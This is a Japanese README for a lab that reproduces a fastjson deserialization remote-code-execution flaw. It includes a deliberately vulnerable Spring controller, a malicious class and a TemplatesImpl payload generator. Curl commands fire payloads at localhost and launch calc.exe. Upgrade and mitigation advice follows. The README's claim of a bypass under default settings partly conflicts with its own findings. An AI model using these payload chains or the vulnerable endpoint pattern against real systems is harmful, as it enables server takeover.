
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-16723 |
| コンポーネント | fastjson |
| 影響を受けるバージョン | 1.2.68 – 1.2.83 |
| 修正済みバージョン | 1.2.84+、2.0.0+ |
| 脆弱性の種類 | デシリアライゼーション / RCE |
| 深刻度 | CVSS 3.1: 9.0(CRITICAL) |
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | なし |
| ユーザー操作 | なし |
fastjson-cve-2026-16723/
├── pom.xml # メインプロジェクト(脆弱な fastjson を使用した Spring Boot アプリ)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot エントリポイント
│ └── controller/
│ └── VulnerableController.java # 脆弱な REST エンドポイント
├── malicious/ # 別モジュール: サプライチェーンシミュレーション用の悪意のある JAR
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # 静的初期化子を持つ悪意のあるクラス
│ ├── EvilTranslet.java # TemplatesImpl インメモリモード用の悪意のあるトランスレット
│ └── GenTemplatesPayload.java # TemplatesImpl JSON ペイロードを生成
├── templates-payload.json # 生成された TemplatesImpl ペイロード(直接バリアント)
├── templates-payload-preload.json # 生成された TemplatesImpl ペイロード(クラスプリロードバリアント)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 には、AutoType 保護メカニズムのバイパスが存在します。デフォルト設定(autoTypeSupport=false)でも、攻撃者は細工された JSON ペイロードを使用して、以下のようなエクスプロイトチェーンを介して任意のクラスをインスタンス化できます:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl(JNDI インジェクション)java.lang.Runtime(直接的なコマンド実行)@type: exploit.MaliciousClass)VulnerableController.java — 2 つのエンドポイントが問題を示しています:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 脆弱: デフォルト設定での JSON.parseObject
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true) は不要!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Object へのデシリアライズを強制 — 実際のクラスインスタンス化をトリガー
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# メインアプリケーションのビルド
mvn clean package -DskipTests
# 悪意のある JAR のビルド(別モジュール)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot ファット JARmalicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass を含む悪意のある JARjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
サーバーは http://localhost:8080 で起動します
実行時要件: このプロジェクトは Java 8 を対象としており、TemplatesImpl インメモリモードは JDK 8 で検証されています。JDK 9+ ではモジュールシステムが
java.xml内部へのリフレクティブアクセスをブロックするため、--add-opensフラグを追加しない限り、チェーンはError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplで失敗します:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
メインの pom.xml は悪意のある JAR を依存関係として宣言しているため、ファット JAR にバンドルされます:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
実行時に確認:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
期待される結果: CVE-2026-16723 Reproduction Endpoint Ready...
malicious モジュールは、クラスロード時に calc.exe を実行する静的初期化子を持つ exploit.MaliciousClass を提供します。
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
結果:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
そしてサーバー上で calc.exe が起動します。
注: これは、悪意のある依存関係がクラスパス上に存在するサプライチェーンシナリオを示しています。この脆弱性により、JDK クラスだけでなく、クラスパス上の任意のクラスのインスタンス化が可能になります。
サプライチェーンモード(クラスパス上の悪意のあるクラスが必要)や JNDI モード(LDAP/RMI サーバーが必要)とは異なり、このモードは悪意のあるバイトコードをペイロードに直接埋め込み、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl を介してメモリからロードします — 追加のデプロイは不要です。
ステップ 1 — ペイロードの生成:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
これにより、exploit.EvilTranslet(静的初期化子が calc.exe を実行する AbstractTranslet サブクラス)がコンパイルされ、その .class バイトが base64 エンコードされて、以下が書き出されます:
templates-payload.json — 直接バリアント("@type": "TemplatesImpl")templates-payload-preload.json — java.lang.Class プリロードバリアントステップ 2 — ペイロードの発火:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
結果:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
そしてサーバー上で calc.exe が起動します。
⚠️ 実証による知見(fastjson 1.2.83 で検証済み): TemplatesImpl チェーンは、純粋なデフォルト設定ではトリガーできません:
- 直接の
@typeペイロードは AutoType の拒否リストによって拒否されます(autoType is not support)。java.lang.Classプリロードチェーンは 2 つの理由で失敗します:java.lang.Class自体が拒否リストに含まれており(autoType is not support. java.lang.Class)、さらにTemplatesImplを内部クラスマッピングにプリロードしても拒否リストをバイパスできません — 1.2.47 時代のマッピングバイパスは 1.2.83 で修正されています。autoTypeSupport(true)だけでも不十分です:拒否リストは autoType フラグよりも優先されます。- チェーンが発火するのは、
ParserConfig.addAccept(...)を介してクラスがホワイトリストに登録されている場合(許可リストは拒否リストより優先)かつFeature.SupportNonPublicFieldが有効な場合のみです(TemplatesImpl の_bytecodes/_name/_tfactoryはプライベートフィールドのため)。/api/deserialize-autotypeエンドポイントは、まさにこの組み合わせを実装しています。- 実行時: チェーンは JDK 8 で検証されています。JDK 9+ ではモジュールシステムが
java.xml内部へのリフレクティブアクセスをブロックするため、アプリケーションの実行 の JVM フラグを使用しない限り、インスタンス作成はError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplで失敗します。
| エンドポイント | 動作 |
|---|---|
POST /api/parse | JSONObject にパース — すべてのペイロードで完全なデシリアライゼーションがトリガーされるとは限りません |
POST /api/deserialize | Object にパース — 完全なデシリアライゼーションとクラスインスタンス化を強制(デフォルト設定) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — プライベートフィールドを書き込みますが、拒否リストが TemplatesImpl をブロックします |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — TemplatesImpl インメモリチェーンを発火 |
悪意のあるクラスのエクスプロイトでは、静的初期化子をトリガーするために /api/deserialize が必要です。
fastjson をパッチ適用済みバージョンにアップグレードしてください:
<!-- オプション 1: fastjson 1.x(1.x ユーザーに推奨) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- オプション 2: fastjson 2.x(新規プロジェクトに推奨) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// AutoType をグローバルに無効化(部分的な緩和策 — エクスプロイトチェーンがバイパスする可能性あり)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// または safeMode を使用(fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
このプロジェクトは、教育および防御的なセキュリティ研究のみを目的としています。
- 所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。
- 著者は、このコードの使用から生じる誤用、損害、または法的結果について一切の責任を負いません。
- 脆弱性を発見した場合は、常に責任ある開示の慣行に従ってください。
- この再現ではデモンストレーション用に無害なペイロード(
calc.exe)を使用しています。実際のエクスプロイトは深刻な被害を引き起こす可能性があります。
このプロジェクトはセキュリティ研究用に現状のまま提供されます。明示的または黙示的な保証はありません。